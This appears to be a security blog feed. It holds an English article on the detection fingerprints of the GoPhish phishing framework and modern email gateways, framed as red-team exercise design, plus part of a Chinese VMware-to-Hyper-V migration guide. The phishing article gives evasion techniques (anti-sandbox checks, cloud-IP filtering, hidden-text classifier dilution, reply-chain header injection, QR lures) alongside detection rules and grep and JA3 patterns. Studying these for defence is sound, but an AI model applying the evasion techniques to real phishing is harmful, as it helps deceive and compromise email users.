本系列后续文章将围绕 Taigong 的工程设计展开通过剖析一个真实平台的架构决策，带读者理解现代钓鱼攻防对抗中每一个技术选择的背后逻辑。文章会穿插 Taigong 的设计理念和技术实现，但讨论的核心始终是攻防双方的对抗思维—平台怎么设计才能让演练数据真正反映组织的安全水位。

下一篇我们将深入具体的技术实现：如何搭建一套无法被识别的钓鱼基础设施——从域名选择、DNS 配置、CDN 域前置到 TLS 指纹对抗，全部来自实战环境的生产经验。

参考资料：

-*Microsoft Digital Defense Report 2024, https://www.microsoft.com/en-us/security/security-insider/microsoft-digital-defense-report-2024*
-*Proofpoint 2024 State of the Phish Report, https://www.proofpoint.com/us/resources/threat-reports/state-of-phish*
-*HP Wolf Security 2024 Threat Insights Report, https://threatresearch.ext.hp.com/2024-threat-insights-report/*
-*SEC Consult - SMTP Smuggling (CVE-2023-51766), https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/*
-*Guardio Labs - SubdoMailing: Thousands of Hijacked Major Brand Subdomains, https://labs.guard.io/subdomailing-thousands-of-hijacked-major-brand-subdomains-found-bombarding-users-with-millions-of-malicious-emails*
-*GoPhish v0.12.1 Source Code, https://github.com/gophish/gophish*
-*JA3 - A method for profiling SSL/TLS clients, https://github.com/salesforce/ja3*
-*JA4+ Network Fingerprinting Standard, https://github.com/FoxIO-LLC/ja4*
-*Abnormal Security - QR Code Phishing on the Rise, https://abnormalsecurity.com/blog/qr-code-phishing-attacks*
-*Guardio Labs - SubdoMailing Technical Analysis, https://labs.guard.io/*

系列导航

Email Phishing Engineering · 1: GoPhish’s Ceiling

Fri, 03 Apr 2026 00:00:00 GMT

This article opens the Email Phishing Engineering series. No fluff—straight into engineering practice and real adversary scenarios: why open-source phishing frameworks have hit a ceiling in 2025–2026, and which technical problems a battle-oriented exercise platform must solve.

First published on the WeChat official account: Yofune Security Research. Follow for more.

0x01 A Fact Everyone in the Industry Already Knows

Start with a reality most people won’t write down publicly: the vast majority of corporate phishing exercises in China are theater. Anzaixinbang’s 2025 China Enterprise Employee Information Security Awareness Survey Report shows that only about 24% of Chinese enterprises have ever run a phishing exercise—and those that do are mostly compliance-driven with shallow participation. Industry outlets such as Security Internal Reference have repeatedly described current training as “formalistic” and “going through the motions.”

The typical flow looks like this: the security team pulls GoPhish from GitHub, spends half a day deploying it on a cloud host, mass-sends a “your password is about to expire” template from the company domain, tallies click rates, and pastes the numbers into a quarterly PPT. Leadership nods, compliance checks the box, exercise over.

The problem is that this kind of exercise sits across a chasm from real attacks.

Data from the 2024 Microsoft Digital Defense Report makes the point clearly: over the past 12 months, AiTM (Adversary-in-the-Middle) phishing attacks grew 146%, and MFA relay has become a standard APT tactic. Proofpoint’s 2024 State of the Phish Report notes that 83% of surveyed organizations suffered at least one successful phishing attack in 2023, with a median direct financial loss from BEC of $50,000. HP Wolf Security’s 2024 report shows QR-code phishing (Quishing) growing more than 270% year over year.

Our exercise tooling is still stuck at “blast one email and see who clicks the link.”

That isn’t an exercise. That’s a lazy questionnaire.

Blue team view: If your organization still exercises with “known templates + known domains + known IPs,” the resulting “click rate” has no reference value—it measures neither employee judgment against real spear-phishing nor the real effectiveness of existing security controls. Real attackers will not send mail with GoPhish’s default X-Gophish-Contact header, and they will not hit your staff directly from Alibaba Cloud.

0x02 Dissecting GoPhish’s Six Fingerprint Classes

Give GoPhish its due first. When Jordan Wright open-sourced the project in 2016, it filled a real gap—letting non-security practitioners stand up a phishing simulation environment quickly. A single Go binary, embedded SQLite, RESTful API: those engineering choices were right for the time.

But that was a decade ago.

From day one, GoPhish’s architectural positioning was “security awareness training tool.” That positioning difference produced a series of structural problems.

While auditing GoPhish v0.12.1 source, we mapped six fingerprintable trait classes across the HTTP stack. Each is analyzed below with both red-team evasion and blue-team detection angles.

2.1 Custom Header Fingerprints

This is the best-known issue. GoPhish inserts two custom headers into every outbound message:

X-Gophish-Contact: support@getgophish.com
X-Gophish-Signature:

Red team view: Some community forks (e.g. evilgophish-FORK, lilloX/gophish, and Chinese-community enhanced GoPhish builds) have removed or renamed these custom headers to evade detection. Header-removal methods are documented in multiple open-source bypass guides and patch scripts (e.g. 0xQRx/Gophish_Customization).

Note, however: upstream gophish/gophish latest v0.12.1 still ships both headers, and high-star forks such as kgretzky/gophish do not clearly document removing them—header removal is a targeted change in some forks for detection bypass, not a universal community-fork trait. Even after deleting the headers, the Received chain may still retain Go standard-library SMTP client traits. In mailer/mailer.go, GoPhish sends via the gomail library; its MIME construction and Message-Id @ suffix patterns are also recognizable. A more thorough approach is to use a dedicated MTA (e.g. Postfix) as the send relay so mail-header characteristics are fully determined by the MTA.

Blue team view: Proofpoint, Mimecast, and Microsoft Defender for Office 365 can all be configured with custom mail-flow rules:

condition: header_contains("X-Gophish")
action: quarantine
severity: HIGH

Go further: write rules that check whether Message-Id matches Go gomail’s default format (UUID with no domain suffix, or a suffix inconsistent with the From domain). These rules need no threat-intel subscription—pure rule engines cover them.

2.2 Route Path Fingerprints

GoPhish’s phishing server registers several fixed paths in controllers/route.go:

/track — open tracking (tracking pixel)
/report — report handling
/robots.txt — fixed content Disallow: /
static assets under /static/

Red team view: A customized platform must make routes configurable. Path names should be set dynamically via config, and /robots.txt must not leak path information. A more aggressive approach drops a standalone route table entirely and dispatches everything through a wildcard /{path:.*}, with business logic routing by parameters.

Blue team view: At the reverse proxy or WAF layer, match known phishing-framework path patterns:

# Nginx WAF rule example
location ~* ^/(track|report|static/) {
 return 403;
}

ModSecurity REQUEST_FILENAME rules can effectively identify unmodified GoPhish instances.

2.3 Rid Parameter Fingerprints

GoPhish uses ?rid= as the user-tracking parameter. In source it is the constant RecipientParameter = "rid", with values encoded as base64(sha1(email + salt))—a fixed 7-character alphanumeric string.

Red team view: Parameter names should be configurable (rid, id, token, code, t, etc., rotated), and encoding should be randomized. Values should also be HMAC-bound to the request so the blue team cannot enumerate valid targets by brute-forcing RIDs. Additionally, GoPhish’s Transparency feature (appending + after the RID to return full campaign info) is a major reverse-tracking vulnerability—anyone can reverse-query campaign send time and contact details from the URL.

Blue team view: Search traffic logs for the pattern ?rid=[A-Za-z0-9+/=]{7,}, combined with UA and Referer analysis, to quickly find unauthorized phishing exercises. A more advanced approach extracts RID-like patterns from all URL parameters in SEG logs and runs frequency analysis—abnormally high base64-encoded parameter request rates are often a phishing signal.

2.4 404 Page Fingerprints

By default GoPhish uses the Go standard library’s http.NotFound, which returns:

404 page not found

The Go standard-library 404 has no “404 Not Found” title tag; the body is plain text, distinctly different from Nginx or Apache HTML 404 pages.

Red team view: You must override the default 404 handler and return a 404 consistent with the target environment. In TaiGong’s implementation, renderUnknownResponse returns a full Nginx-style HTML page:

404 Not Found

404 Not Found
nginx

It also supports configuring UnknownRedirectURL to 302 invalid requests straight to a legitimate page (e.g. Google.com), fully eliminating 404 response differentials.

Blue team view: Use network mapping platforms such as Shodan, Censys, or FOFA to search for HTTP services returning Go standard-library 404 traits; combined with port scanning, this can surface phishing servers exposed on the public internet. The favicon.ico hash is another easily overlooked fingerprint.

2.5 TLS Fingerprints (JA3/JA4)

This is the most overlooked—and most damaging—fingerprint. ClientHello messages produced by Go’s crypto/tls have a very distinctive CipherSuite order and TLS extension combination. The default JA3 for Go 1.21+ is roughly:

771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0

This fingerprint is completely different from Nginx (OpenSSL-based) or Apache TLS fingerprints, and is widely tagged in open JA3 fingerprint libraries (e.g. ja3er.com).

Blue team view: Deploy Zeek or Suricata passive traffic analysis at the enterprise egress; extract JA3/JA4 from all TLS handshakes. If an IP’s JA3 matches Go standard-library traits and that IP is not on a known Go-service allowlist (Docker Hub, Google APIs, etc.), it is highly likely a phishing server. Example:

tshark -r capture.pcap -Y 'tls.handshake.type == 1' \
 -T fields -e tls.handshake.ja3 -e ip.src

Cross-check output against known Go fingerprint libraries for phishing-infra detection that needs no mail content inspection and no URL denylist.

Red team view: There are two paths against JA3. One is to hand TLS to a reverse proxy—Nginx/Caddy/Cloudflare—so the Go app only listens on 127.0.0.1:80 plaintext HTTP; the handshake is completed by OpenSSL/BoringSSL and fingerprints become standard Nginx/Cloudflare ones. The other is to use a custom crypto/tls Config to rewrite CipherSuite order and extensions. TaiGong’s code uses github.com/psanford/tlsfingerprint to extract client JA4 in real time for anti-detection, while server-side TLS fingerprints are handled by fronting Nginx.

2.6 Static Asset Fingerprints

GoPhish admin static assets (CSS/JS/images) live under static/; file contents are fixed per version. Hash those files and compare against known versions to pin the GoPhish version precisely.

Red team view: Bundle front-end assets into the binary with go:embed, and on each build apply tiny non-functional mutations (e.g. change version strings in CSS comments, alter whitespace in JS) so hashes match no known release.

Blue team view: Extract hashes of JS/CSS under /static/ from HTTP responses and compare against known GoPhish version hash lists (from GitHub Releases or npm packs). This is the most precise GoPhish version identification method.

0x03 Evolution of Secure Email Gateways: From SpamAssassin to a Five-Layer Detection Stack

To understand why a 2025 exercise platform must match APT-grade adversarial capability, it helps to map how secure email gateways (SEG) evolved over the past six years.

3.1 Traditional Architecture (~2020): One-Dimensional Detection

Inbound mail → SPF/DKIM/DMARC checks → keyword denylist → SpamAssassin scoring → allow/quarantine

This generation of gateways centered on static rule- and reputation-based detection. SpamAssassin’s Bayesian classifier, Rspamd scoring, RBL/DNSBL denylists—all relatively static tools.

Red team view: With basic hygiene—reputable domains, correct SPF/DKIM/DMARC, avoiding high-frequency denylist keywords in the body—you could bypass them easily.

3.2 Modern Architecture (2024–2026): Five Layers in Depth

Around 2020–2021, the email security industry underwent a major paradigm shift. Gartner formally defined the ICES (Integrated Cloud Email Security) category in October 2021; Forrester defined CAPES (Cloud API-Enabled Email Security) in Q3 2020—analyst recognition of emerging cloud-native API email security platforms. Traditional SEG vendors such as Proofpoint, Mimecast, and Microsoft never relied on a “single scoring model”—Microsoft Defender for Office 365/EOP shipped a multi-layer protection stack of 20+ detection techniques from the start; Proofpoint TAP included multi-layer URL rewrite, sandboxing, and threat intel as early as 2012; Mimecast expanded detection via Solebit/Ataata acquisitions in 2018. By 2025, a complete email security detection architecture has evolved into a five-layer collaborative system:

Inbound mail
 ├── L1 Reputation: IP/domain reputation, SPF/DKIM/DMARC alignment, sender behavior profiling
 ├── L2 Content: Transformer-based NLP semantic analysis, intent classification, sentiment detection
 ├── L3 URL: Headless Chrome real-time detonation, redirect-chain tracking, domain age checks
 ├── L4 Attachment: CDR (content disarm and reconstruction), Office macro static/dynamic analysis, file-type spoof detection
 └── L5 Behavior: user send/receive baseline modeling, anomalous communication patterns (first contact, burst bulk)

Several critical shifts deserve deeper analysis:

L2 — NLP semantic analysis. Microsoft Defender and Proofpoint have deployed Transformer-based intent classification models. These no longer depend on keyword matching; they understand semantic intent: “Is this message asking the recipient to take an action (click a link, transfer money, download an attachment)?” Traditional keyword swaps (“password” → “passphrase,” “urgent” → “expedited”) are useless against semantic models.

Red team view: Against NLP models you can use noise injection obfuscation (terminology used in KnowBe4’s 2026 reporting) or what Sublime Security (May 2026) calls “indirect prompt injection via hidden text”—embedding large amounts of benign business text in invisible regions of the body to dilute overall NLP probability scores. This is not merely “lowering the urgency score” (that is only one of the model’s signals); it drowns sparse malicious signals in benign context so the classifier labels the whole message as normal business communication. Note that modern SEGs already weight detection of hidden text (opacity:0, display:none, tiny fonts, etc.) in preprocessing.

L3 — URL hyperlink preview. Not simple denylist checks: Headless Chrome actually visits the URL, waits for JavaScript to finish and the page to fully render, then analyzes DOM structure, visual content, and form fields. If your phishing landing page returns a full phishing form to every visitor, it is already sandboxed before it reaches the target inbox.

Red team view: A battle-oriented platform must embed an anti-sandbox engine—multi-dimensional environment checks on the visitor. TaiGong’s detections engine in the JS probe (magic.js) checks:

navigator.webdriver (Headless Chrome marker)
navigator.plugins length (sandboxes often disable plugins)
screen resolution and color depth match (typical virtualized environments are 1024×768)
chrome.runtime object (loading outside Chrome exposes it)
mouse trajectories (real user vs script injection)
Canvas fingerprint and WebGL renderer string

The server further filters by IP: 200+ CIDRs covering AWS/Azure/GCP/Tencent Cloud/Alibaba Cloud/Linode/OVH/Hetzner. Requests outside the geo-fence return 404 or a forged redirect.

L5 — Behavior baseline modeling. First Contact Safety Tip is a built-in Microsoft Defender for Office 365 feature that shows a gray banner atop mail from first-time senders: “You don’t often get email from this sender. Learn why this is important.” It is meant to raise awareness of unfamiliar senders. Certitude Consulting (August 2024) also disclosed a CSS bypass that lets attackers fully hide that banner via carefully crafted HTML. Yellow banners mark spam classification results and are a different control.

Red team view: Breaking L5 requires reply-chain attacks—injecting In-Reply-To, References, Thread-Topic, and Thread-Index headers so the phishing message is inserted into an existing legitimate thread. The SEG’s behavior baseline sees the mail as “belonging” to an existing conversation and does not trigger first-contact detection. TaiGong’s sponsored edition implements this technique.

3.3 The 2025–2026 Attack Surface

Defenders are upgrading; attackers never stopped.

SMTP Smuggling (CVE-2023-51766). SEC Consult researcher Timo Longin disclosed a protocol-level vulnerability affecting multiple SMTP implementations in late 2023. Attackers exploit differences in how MTAs (Postfix, Sendmail, Exchange Online) parse the SMTP data end sequence . to “smuggle” extra messages in a single SMTP session. Smuggled messages can forge arbitrary senders and fully bypass SPF—from the receiving MTA’s perspective they came from a legitimate source IP. Proofpoint’s 2024 misconfiguration incidents further underscored the impact.

Red team view: Where enterprise MTAs are unpatched, SMTP Smuggling can craft a fake official notice that “passes” SPF/DKIM/DMARC entirely.

SubdoMailing (Guardio Labs, February 2024). In this large-scale campaign, attackers systematically scanned expired subdomain SPF/CNAME records of major organizations (MSN, VMware, McAfee, etc.), took them over, and sent phishing mail under strong domain reputation. Over 8,000 domains and 13,000 subdomains were abused, with average daily volume of ~5 million messages.

Blue team view: Regularly audit DNS for subdomains no longer in use but still listed in SPF includes. Use dnsrecon or Sublist3r to monitor subdomain resolution. CT Log (Certificate Transparency) anomaly monitoring can surface abnormal certificate issuance against your subdomains early.

Quishing (QR Code Phishing). HP Wolf Security 2024 and Abnormal Security both report 270%+ growth in QR-code phishing. The core reason: SEG URL scanners cannot read URLs embedded in images—attackers encode phishing links as QR codes in the body; users scan with phones and land on phishing pages, fully bypassing desktop security controls.

Red team view: Embed QR codes in forged MFA device-binding or attendance check-in notices; exploit mobile URL preview truncation to hide the full link.

Blue team view: Deploy QR detection modules on the mail gateway that decode images in message bodies and analyze extracted URLs. Train employees explicitly: any mail that requires scanning a code to act must be confirmed via a secondary channel.

0x04 Blue Team Detection Matrix: Finding Phishing Infrastructure Inside and Outside the Organization

From this series’ dual red/blue perspective, the simplest WAF rules are easy to stand up.

4.1 Detecting GoPhish Instances

From the six fingerprint classes above, you can build a multi-dimensional detection script:

Mail header layer:

# Check X-Gophish custom headers
grep -ri "x-gophish" /var/log/mail/*.log

# Check Message-Id format anomalies
# GoPhish-generated Message-Ids are often UUIDs missing a domain suffix
grep -E 'Message-Id: <[a-f0-9-]{36}>' /var/log/mail/*.log

Network traffic layer:

# Extract JA3 from all TLS handshakes
tshark -r capture.pcap -Y 'tls.handshake.type == 1' \
 -T fields -e tls.handshake.ja3 -e ip.src -e ip.dst | \
 grep "^771,4865-4866-4867-49195"

URL pattern layer:

# Search for RID-like URL parameter patterns
grep -P '\?rid=[A-Za-z0-9+/=]{7,}' /var/log/nginx/access.log

With a WAF (ModSecurity, Naxsi, etc.) you can auto-block requests bearing known phishing-framework traits. Commercial WAFs (Cloudflare, Akamai) typically already include GoPhish fingerprint rules in managed rule sets.

4.2 Detecting Advanced Phishing Platforms

Once attackers strip all of the above visible traits, the blue team must upgrade:

Domain age and registration data. Newly registered (<30 day) domains sending “internal notice” mail are strong suspicious signals. Automate registration-date checks of linked domains via whois or SecurityTrails API.

CT Log anomaly monitoring. Watch certificate issuance for domains similar to your org name, e.g. hr-yourcompany.com, login-microsoft.com.

Use certspotter or crt.sh APIs for automatic subscription.

Mail authentication consistency checks. Specifically:

SPF Pass but Return-Path domain misaligned with From (Alignment Failure)
DKIM Pass but signing domain (d=) misaligned with From
Domains with DMARC p=quarantine or p=reject receiving mail claiming to be from that domain without a DKIM signature—possible domain impersonation

SMTP behavioral anomaly detection. The same source IP sending to many different internal recipients in a short window, with MAIL FROM envelope address ≠ From header address, is a classic bulk-phishing signal. Zeek’s smtp.log can extract these fields for analysis.

Infrastructure correlation. Correlate domains, IPs, TLS certs, JA3 fingerprints, mail template hashes, etc. used in one campaign into a threat-intel graph—the classic MISP or ThreatConnect use case.

0x05 Engineering Practice From This Understanding: Taigong’s Design Origin

GoPhish is a good tool—but it belongs to a previous era.

Looking back at the six fingerprint classes: from mail headers to TLS handshakes, from HTTP 404 pages to JS static-asset hashes, any untreated trait can be identified by blue teams or internet mapping platforms. And even if you erase every visible fingerprint, you still face three architectural limits GoPhish cannot solve: single mail channel (no IM/SMS/QR multi-channel simulation), no environment awareness (cannot distinguish sandboxes from real users), and no MFA adversarial capability (no AiTM relay).

In 2026, enterprise SEGs have evolved from single-layer rule engines into five-layer defense-in-depth stacks; NLP semantics, Headless Chrome detonation, and behavior baseline modeling are standard. Real APT groups already use SMTP Smuggling to bypass SPF, SubdoMailing to borrow domain reputation, and QR codes to bypass URL inspection. If your exercise platform is still standing still, the data it produces—“5% of employees clicked the link”—is simply not the real exposure surface.

Based on this understanding, we built a new phishing exercise platform from the ground up—Taigong (太公).

Taigong’s design premise: a platform aimed at real operational environments must simultaneously reach real-attack fidelity across six dimensions—infrastructure stealth, content adversarial techniques, multi-channel delivery, anti-sandbox detection, MFA adversarial capability, and measurement. It is not an “enhanced” or “beautified” GoPhish; it redefines the capability boundary of phishing exercise platforms from the ground up.

Subsequent articles in this series will center on Taigong’s engineering design. By dissecting architectural decisions of a real platform, we show the logic behind every technical choice in modern phishing offense and defense. Pieces of Taigong’s design and implementation will appear throughout, but the core discussion is always adversarial thinking—how to design a platform so exercise data truly reflects an organization’s security waterline.

Next article: concrete implementation—how to build phishing infrastructure that cannot be identified, from domain selection and DNS configuration through CDN domain fronting to TLS fingerprint adversarial techniques, all from production experience in live environments.

References:

-*Microsoft Digital Defense Report 2024, https://www.microsoft.com/en-us/security/security-insider/microsoft-digital-defense-report-2024*
-*Proofpoint 2024 State of the Phish Report, https://www.proofpoint.com/us/resources/threat-reports/state-of-phish*
-*HP Wolf Security 2024 Threat Insights Report, https://threatresearch.ext.hp.com/2024-threat-insights-report/*
-*SEC Consult - SMTP Smuggling (CVE-2023-51766), https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/*
-*Guardio Labs - SubdoMailing: Thousands of Hijacked Major Brand Subdomains, https://labs.guard.io/subdomailing-thousands-of-hijacked-major-brand-subdomains-found-bombarding-users-with-millions-of-malicious-emails*
-*GoPhish v0.12.1 Source Code, https://github.com/gophish/gophish*
-*JA3 - A method for profiling SSL/TLS clients, https://github.com/salesforce/ja3*
-*JA4+ Network Fingerprinting Standard, https://github.com/FoxIO-LLC/ja4*
-*Abnormal Security - QR Code Phishing on the Rise, https://abnormalsecurity.com/blog/qr-code-phishing-attacks*
-*Guardio Labs - SubdoMailing Technical Analysis, https://labs.guard.io/*

Series Navigation

VMware 与 Hyper-V 基础扫盲：差异、迁移与脚本实战

Thu, 19 Mar 2026 00:00:00 GMT

很多人第一次接触虚拟机，都是从 VMware Workstation 开始的。它安装方便、资料多、界面也直观，所以无论是装测试环境、做开发、跑实验机，还是折腾一些旧系统，VMware 都是很常见的入门选择。

但用久了之后，很多人会开始遇到几个现实问题：Windows 自带的虚拟化能力越来越强、WSL2 和 Windows Sandbox 都依赖 Hyper-V、某些安全功能会和 VMware 争抢虚拟化支持、迁移旧虚拟机时又会碰到一堆看不懂的磁盘文件。这个时候，问题就会变得很实际：

VMware 和 Hyper-V 到底有什么区别？什么时候该继续用 VMware，什么时候又值得迁到 Hyper-V？

这篇文章尽量不用太夸张的表达，而是按“基础扫盲”的思路，把下面几件事讲清楚：

VMware Workstation 和 Hyper-V 分别是什么
两者底层架构到底差在哪
日常使用时，体验会体现在哪些地方
为什么 VMware 目录里经常会出现一堆零碎的 .vmdk
把 VMware 虚拟机迁到 Hyper-V 时，应该怎么理解磁盘转换
仓库里的 vmdk_to_vhdx.py 脚本到底做了什么

如果你只是想先建立一个基本认知，这篇文章就够用了。如果你已经准备迁移，文末也给了比较实用的操作建议和完整脚本。

一、先把概念说清楚：虚拟机到底是什么

虚拟机本质上就是“在一台真实电脑里，再模拟出一台电脑”。这台模拟出来的电脑可以有自己的 CPU、内存、硬盘、网卡、BIOS 或 UEFI，然后在里面安装另一个操作系统。

比如你现在用的是 Windows 11 主机，但你可以在虚拟机里再装一个 Ubuntu、Windows Server，甚至是更老的系统。这样做的好处很明显：

不影响主机环境
方便测试软件和配置
适合做开发、学习、实验和隔离
出问题了可以删掉重来

而 VMware Workstation、Hyper-V 这样的工具，扮演的就是“虚拟机管理者”的角色。更准确一点说，它们属于 Hypervisor，也就是虚拟化平台。

二、VMware Workstation 和 Hyper-V 分别是什么

1. VMware Workstation

VMware Workstation 是桌面端非常成熟的虚拟化产品。它的优点主要有这些：

上手门槛低
图形界面完整
对旧系统、老镜像的兼容性通常不错
很多人手里本来就积累了大量 VMware 格式的虚拟机

如果你的主要诉求是“在自己的电脑上方便地开几个虚拟机”，VMware Workstation 一直都是一个比较稳妥的方案。

2. Hyper-V

Hyper-V 是微软提供的虚拟化平台，集成在 Windows 专业版、企业版和 Windows Server 中。它不是单纯“装一个虚拟机软件”那么简单，而更像系统级能力。

这也是为什么很多 Windows 相关功能都会和它绑定，比如：

WSL2
Windows Sandbox
一部分基于虚拟化的安全特性
Windows Server 场景下的原生虚拟化管理

如果你长期在 Windows 体系内工作，尤其是开发、运维、测试或者安全研究相关工作，Hyper-V 的存在感会越来越强。

三、两者最大的差别：底层架构不一样

理解 VMware 和 Hyper-V 的关键，不在界面，而在架构。

1. VMware Workstation 更接近宿主型虚拟化

可以把它理解为：它运行在你的 Windows 之上。虽然底层也会调用硬件虚拟化能力，但从使用感知上看，它仍然像一个“运行在宿主系统里的大型应用”。

这种方式的好处是：

安装和卸载更直观
对个人用户更友好
和桌面环境结合得比较自然

它的代价也很明显：

某些场景下会和 Windows 自己的虚拟化能力产生冲突
在系统底层资源调度上，不如原生虚拟化方案那样直接

2. Hyper-V 更接近系统级、原生的虚拟化层

开启 Hyper-V 之后，Windows 的角色其实会发生变化。简单说，不再是“Windows 运行了一个虚拟机软件”，而更像是“Windows 本身也运行在 Hyper-V 管理的环境里”。

这件事对新手来说最容易混淆，但理解之后，你会更容易明白下面这些现象：

为什么启用 Hyper-V 后，某些依赖 VT-x 或 AMD-V 的软件表现会变化
为什么 WSL2 和 Sandbox 要依赖它
为什么 Hyper-V 在 Windows 生态里的整合度更高

你不一定要记住非常严谨的虚拟化术语，但至少要知道：这两者不是“同类软件换个皮肤”，而是设计思路本来就不一样。

四、作为普通用户，实际体验上会差在哪

如果不聊架构，只看日常使用，可以先用下面这个表快速理解：

| 对比项 | VMware Workstation | Hyper-V | | --- | --- | --- | | 上手体验 | 更像普通桌面软件 | 更像系统功能 | | Windows 生态整合 | 一般 | 很强 | | 对旧虚拟机兼容 | 通常更友好 | 迁移时可能需要调整 | | 磁盘格式 | 常见为 VMDK | 常见为 VHD / VHDX | | 网络配置 | 图形化较直观 | 功能强，但概念更多 | | 与 WSL2 / Sandbox 协同 | 可能有兼容问题 | 原生协同 | | 适合人群 | 个人学习、桌面实验 | Windows 深度用户、开发运维、服务器场景 |

什么情况下更适合继续用 VMware

你已经积累了很多 VMware 虚拟机模板
你主要是个人桌面使用，不依赖 Hyper-V 生态
你更在意“开箱即用”和旧环境兼容

什么情况下更值得迁到 Hyper-V

你本来就在 Windows 专业版或服务器环境里工作
你需要 WSL2、Sandbox、容器、虚拟化安全等能力协同
你希望虚拟化方案尽量和 Windows 原生体系保持一致

这不是谁绝对更强，而是你的使用场景变了，适合的工具也会跟着变。

五、为什么 VMware 目录里总有一堆奇怪的磁盘文件

很多人迁移虚拟机时，最先被劝退的不是 Hyper-V，而是 VMware 自己那堆磁盘文件名。

你本来以为虚拟机硬盘应该就是一个文件，结果目录里却出现了：

xxx.vmdk
xxx-flat.vmdk
xxx-s001.vmdk
xxx-f001.vmdk
还有可能出现快照相关文件

这其实很正常，因为 VMDK 不是单指“一个样子的文件”，而是一类磁盘格式。

1. 主 VMDK 和数据 VMDK 不是一回事

有些 .vmdk 文件本身并不装真正的数据，它更像一个描述文件，记录这个虚拟磁盘应该去哪里找实际内容。

真正的大块数据，可能被放在：

一个单独的大文件里
多个拆分的小文件里
一个 -flat.vmdk 文件里

所以你看到一个体积很小的 .vmdk，不要急着觉得它“没内容”。它有可能只是索引入口。

2. 为什么会拆成很多段

历史上，一个很常见的原因是兼容文件系统限制，比如早期 FAT32 对单文件大小有限制。后来这种拆分方式也被保留下来，方便搬运、复制或者某些工具链处理。

常见情况包括：

-s001.vmdk：通常表示拆分的动态扩展磁盘
-f001.vmdk：通常出现在预分配、拆分存储的场景
-flat.vmdk：常见于描述文件配套的大数据文件

对迁移来说，最重要的一点不是把所有分片一个个手动处理，而是先找到“真正的入口文件”。

六、VMDK 和 VHDX 到底有什么区别

迁移 VMware 到 Hyper-V，本质上最核心的一步，就是把 VMDK 转成 VHDX。

1. VMDK 是 VMware 常见的磁盘格式

它的特点是生态成熟、历史包袱也比较多。它支持多种组织方式，所以灵活，但也容易让新手困惑。

2. VHDX 是 Hyper-V 更推荐使用的格式

相较于更老的 VHD，VHDX 可以理解成更新一代的格式，适合现在的 Windows 和 Hyper-V 环境。它通常有这些优势：

支持更大的磁盘容量
对异常断电、元数据保护等场景更友好
在 Hyper-V 环境里兼容性更好
更符合微软当前的虚拟化使用习惯

从迁移目标来看，你一般不需要执着于“保留 VMware 原来的磁盘组织方式”，而是应该尽量把它整理成 Hyper-V 更容易接纳的 VHDX。

七、为什么有的人迁移后能开机，有的人会报错

磁盘格式转换只是第一步。即使你成功把 VMDK 转成了 VHDX，虚拟机能不能顺利启动，还取决于几个容易被忽略的因素。

1. 虚拟机代数不匹配

Hyper-V 创建虚拟机时，最常见的选择之一就是“第 1 代”还是“第 2 代”。

第 1 代更接近传统 BIOS 启动
第 2 代更接近 UEFI 启动

如果你迁移的是比较老的 Linux、老 Windows Server，或者原本就是传统 BIOS 安装的系统，往往应该优先尝试第 1 代。

很多“明明磁盘已经转好了但就是黑屏”的问题，最后都不是磁盘损坏，而是代数选错了。

2. 控制器类型变化

原虚拟机里使用的磁盘控制器、网卡类型、启动顺序，迁移到新平台后未必一模一样。有些系统驱动比较宽容，有些系统则比较敏感。

3. 快照链没有理清

如果原 VMware 虚拟机存在快照，那么你看到的那个 .vmdk 可能不是一块完整磁盘，而是一条链上的某个节点。这种情况下，直接抓错文件去转，最后得到的结果就可能不完整，甚至无法启动。

所以迁移前，最好先确认：

当前虚拟机有没有快照
你拿去转换的，是不是当前正在使用的那块磁盘入口

八、磁盘转换这件事，到底是在做什么

很多教程只会告诉你“运行某条命令”，但不知道原理，出了问题就很难定位。

实际上，转换工具做的事情可以概括为三步：

读取 VMware 的磁盘描述信息
按顺序把底层数据块重新拼起来
用目标格式重新写出一块新的虚拟磁盘

也就是说，转换不是简单改后缀名，而是一次“重新组织磁盘结构”的过程。

在这个场景里，qemu-img 是非常常用的命令行工具，因为它支持的磁盘格式很多，而且处理这类跨平台转换比较稳定。

一个典型的转换命令像这样：

qemu-img convert -f vmdk -O vhdx "源磁盘.vmdk" "目标磁盘.vhdx"

这里有一个关键点：你传给 qemu-img 的，通常应该是那个主入口 .vmdk，而不是随便挑一个 -s001.vmdk 或 -f001.vmdk 分片。

九、为什么转换完以后，Hyper-V 还是可能不满意

有些人已经成功生成了 .vhdx，结果在 Hyper-V 里做检查点或进一步操作时还是报错。这类问题里，一个比较常见的原因是文件系统层面的“稀疏属性”。

简单理解就是：

某些工具在生成磁盘文件时，会让 NTFS 把这个文件标记成一种节省空间的稀疏文件
但 Hyper-V 某些场景下对这种属性并不友好

如果确实遇到这类问题，可以尝试用 Windows 自带的 fsutil 去清理这个标记：

fsutil sparse setflag "目标磁盘.vhdx" 0

这不是所有人都一定会遇到的问题，但如果你已经能确定磁盘转换成功、文件也没坏，Hyper-V 却还是在检查点或磁盘操作时报错，这就是一个值得排查的方向。

十、仓库里的 `vmdk_to_vhdx.py` 脚本在做什么

如果你不想手动一个个去找磁盘、一个个敲命令，那么当前目录里的 vmdk_to_vhdx.py 脚本就是为了简化这个过程。

它的思路可以概括为：

扫描本机磁盘，寻找可能的 VMware 虚拟机目录
尽量避开明显的分片数据文件，只保留更可能正确的主 .vmdk
调用 qemu-img 把它们转换成 .vhdx
在需要时调用 fsutil 清理稀疏属性

也就是说，它做的不是“发明一种新的转换方式”，而是把原本你需要手工完成的几步流程串了起来。

1. 这个脚本适合什么场景

本机上散落着多个 VMware 虚拟机目录，不想手动翻找
目录里拆分磁盘很多，怕拿错入口文件
想把“扫描、转换、修正属性”这几步自动化

2. 使用前先确认两件事

第一，系统里已经安装 qemu-img，而且已经加到环境变量里。

第二，建议使用管理员权限打开 PowerShell 或命令提示符。这样脚本在执行 fsutil sparse setflag 时更不容易因为权限问题失败。

3. 运行方式

python .\vmdk_to_vhdx.py

如果你是第一次迁移，更建议先拿一台不重要的测试虚拟机做实验。这样可以先验证自己的磁盘选择、代数选择、启动方式判断是否正确，而不是一上来就拿最重要的工作环境开刀。

4. 完整脚本

import os
import subprocess
import ctypes
import sys
import re
from pathlib import Path

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def check_dependencies():
    print("[*] 正在检查依赖环境...")
    # 检查 qemu-img
    try:
